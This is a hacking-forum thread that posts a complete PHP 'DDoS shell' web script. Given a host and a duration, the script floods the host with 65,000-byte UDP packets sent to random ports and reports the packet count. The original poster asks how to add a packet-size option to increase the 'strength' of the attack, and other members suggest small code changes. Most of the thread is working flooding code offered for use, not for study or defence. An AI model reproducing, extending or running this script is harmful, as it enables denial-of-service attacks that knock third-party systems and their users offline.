Home Upgrade Search Memberlist Extras Hacker Tools Award Goals Help Wiki Contact

PHP 

PhP Ddos Shell

Can anybody tell me how I can insert a function into this script, which is used to set the size of the packages, to regulate the strength?



PHP Code

<?php 
<html>

<
body>
<
font color="00FF20">
<
img src="http://epm.ch/0/logo.png" ALIGN=RIGHT>
<
STYLE>
input{
background-color: #00FF00; font-size: 8pt; color: black; font-family: Tahoma; border: 1 solid #66;
}
button{
background-color: #00FF00; font-size: 8pt; color: black; font-family: Tahoma; border: 1 solid #66;
}
body {
background-color: black;
}
</
style>
<
br>
<
p>
<
br>
<
p>
<
center>
<?
php
//UDP
if(isset($_GET['host'])&&isset($_GET['time'])){
    
$packets = 0;
    
ignore_user_abort(TRUE);
    
set_time_limit(0);

    
$exec_time = $_GET['time'];

    
$time = time();
    
//print "Started: ".time('d-m-y h:i:s')."<br>";
    
$max_time = $time+$exec_time;

    
$host = $_GET['host'];

    for(
$i=0;$i<65000;$i++){
    
$out .= 'X';
    }
    while(
1){
    
$packets++;
    if(
time() > $max_time){
  break;
    }
    
$rand = rand(1,65000);
    
$fp = fsockopen('udp://'.$host, $rand, $errno, $errstr, 5);
    if(
$fp){
  
fwrite($fp, $out);
  
fclose($fp);
    }
    }
    echo 
"<b>UDP Flood</b><br>Completed with $packets (" . round(($packets*65)/1024, 2) . " MB) packets averaging ". round($packets/$exec_time, 2) . " packets per second \n";
    echo 
'<br><br>
  <form action="'
.$surl.'" method=GET>
  <input type="hidden" name="act" value="phptools">
  Host: <br><input type=text name=host><br>
  Length (seconds): <br><input type=text name=time><br>
  <input type=submit value=Go></form>'
;
}else{ echo 
'<br><b>UDP Flood</b><br>
    <form action=? method=GET>
    <input type="hidden" name="act" value="phptools">
    Host: <br><input type=text name=host value=><br>
    Length (seconds): <br><input type=text name=time value=><br><br>
    <input type=submit value=Go></form>'
;
}
?>
</center>
</body>
</html> 
Quick glance at the code, just seems as if it's sending 'X', adding another X on each request, lol.
--

:)

--

Best form of contact is email: [email protected]


Sry im very inexperienced on this , i want to add a function into the webiste on then you can enter the size of the packages manually to regulate the strength of the current attack.

Currently you can insert only the IP and the Time .
http://imageshack.us/photo/my-images/812/shella.png/

And i will add Another line with the size of the packets but im to inexperienced in this area of php/html
(Feb 9, 2013 08:01 AM)matrix1420 Wrote:  Can anybody tell me how I can insert a function into this script, which is used to set the size of the packages, to regulate the strength?


PHP Code

<?php 
$host 
= $_GET['host'];

    for(
$i=0;$i<65000;$i++){
    
$out .= 'X';
    }
    while(
1){
    
$packets++;
    if(
time() > $max_time){
  break; 

I am pretty sure you should change that. Try this.

Quote: $host = $_GET['host'];
PHP Code

<?php 
for($i=1;$i<65000;$i++){
    
$out .= "X";
    }
    while(
1){
    
$packets++;
    if(
time() > $max_time){
  break; 

@VipVince

I cant feel any change , what is the effect of this edit?
(Feb 9, 2013 08:53 AM)matrix1420 Wrote:  @VipVince

I cant feel any change , what is the effect of this edit?

Sorry you posted your main question after I had initially answered your first post. Disregard it, its nothing major. As to manually specifying you could do that with another $_POST and some tweeks to the PHP code.
@VipVince

Hmm im to inexperienced to do it self ;/

maybe you know a similar script in which it is already inserted ?


Possibly Related Threads...
Thread / Author Replies Views Last Post
[PHP] by LakuJan 20, 2017 03:20 PM 15 1,126 Jan 20, 2017 03:20 PM
Last Post: DataBuster
[PHP] by Flacko.Jun 14, 2015 06:34 PM 17 9,114 Jun 14, 2015 06:34 PM
Last Post: Flacko.
[PHP] by Ego IncAug 6, 2013 02:04 AM 25 840 Aug 6, 2013 02:04 AM
Last Post: Ego Inc